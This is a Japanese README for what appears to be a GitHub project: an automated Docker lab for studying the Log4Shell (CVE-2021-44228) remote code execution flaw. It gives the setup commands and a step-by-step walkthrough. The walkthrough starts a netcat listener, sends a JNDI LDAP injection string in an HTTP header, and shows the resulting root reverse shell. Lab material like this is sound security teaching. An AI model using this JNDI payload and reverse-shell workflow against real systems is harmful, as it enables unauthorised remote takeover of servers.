
Docker上でLog4Shell(CVE-2021-44228)の脆弱性を監査・研究するための自動化されたPlug & Playラボ。
自動化された単一コマンドのセキュリティ研究ラボです。Log4Shell(CVE-2021-44228) のリモートコード実行(RCE)脆弱性を実証・監査するために設計されています。
このプロジェクトは、必要なすべてのコンポーネント(脆弱なアプリケーション、悪意のあるLDAPリファラルサーバー、攻撃者ツール)を、Docker Composeを使用した統合・分離されたネットワークインフラストラクチャに集約します。
.envファイルの編集、ネットワーク調整は一切不要です。すべてDockerの内部DNSで自動的に解決されます。UnsupportedClassVersionErrorの問題を排除します。configurar.sh)によって完全に制御されます。このラボは、3つの主要アクターを擁する分離されたブリッジネットワーク(red-log4shell)を作成します。
web-vulnerable): Java 8u111上で動作する、未対策で脆弱なバージョンのLog4j(2.14.1)を使用したSpring Boot Webアプリケーション。ldap-malicioso): marshalsecを使用して、着信ルックアップリクエストを傍受し、被害者を動的に攻撃者のペイロードへリダイレクトします。kali-tools): コンパイル済みエクスプロイトペイロード(Exploit.class)を配信するPython HTTPサーバーと、リバースシェルを捕捉するNetcatリスナーをホストするカスタムKali Linuxコンテナ。Dockerがインストールされた任意のLinuxマシンにこのラボをデプロイするには、ターミナルで以下のコマンドを実行します:
# 1. Clone the repository
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. Navigate to the project directory
cd mi-laboratorio-log4shell
# 3. Grant execution permissions to the script manager and launch the lab
chmod +x configurar.sh
./configurar.sh
🚀 エクスプロイト方法(ステップバイステップ)
スクリプトによってインフラストラクチャが自動的に起動して稼働したら、次の手順に従ってエクスプロイトをトリガーし、リバースシェルを取得します。 ステップ1: Netcatリスナーをセットアップする
ホストマシン(Ubuntu)で新しいターミナルを開き、攻撃者のコンテナにアタッチして、Netcatを着信接続の待機状態にします: Bash
sudo docker exec -it kali-tools bash
Kaliコンテナ内でリスナーを起動します: Bash
nc -lvnp 4444
次のメッセージが表示されます: listening on [any] 4444 ... ステップ2: 攻撃ベクターを発動する
ホストマシンでもう1つの別のターミナルを開き、X-Api-Versionヘッダーに埋め込まれた悪意のあるJNDIインジェクション文字列を送信します: Bash
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
ステップ3: リバースシェルを確認する
Netcatターミナルに戻ります。アクティブな接続が表示されているはずです。これで被害者サーバー内でrootとしてコマンドを実行できます: Bash
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164 whoami root
このリポジトリは、教育目的、セキュリティ研究、および許可を得た学術監査専用に作成されています。インフラストラクチャ所有者から事前の明示的な書面による許可を得ずに、これらのツールや攻撃インフラストラクチャを決して実行しないでください。